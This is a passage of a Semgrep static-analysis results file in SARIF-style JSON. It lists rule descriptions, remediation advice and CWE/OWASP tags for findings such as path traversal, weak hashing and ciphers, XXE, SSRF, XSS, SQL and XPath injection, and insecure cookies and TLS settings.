[https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path","id":"java.spring.security.injection.tainted-file-path.tainted-file-path","name":"java.spring.security.injection.tainted-file-path.tainted-file-path","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-file-path.tainted-file-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password","id":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","name":"java.lang.security.audit.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using RSA without OAEP mode weakens the encryption."},"help":{"markdown":"Using RSA without OAEP mode weakens the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n","text":"Using RSA without OAEP mode weakens the encryption."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","id":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","name":"java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an insecure transmission channel. 'URLopener.open(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe","id":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","name":"kotlin.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","id":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","name":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","id":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","name":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"help":{"markdown":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","id":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","name":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","id":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","name":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint","id":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","name":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","id":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","name":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you 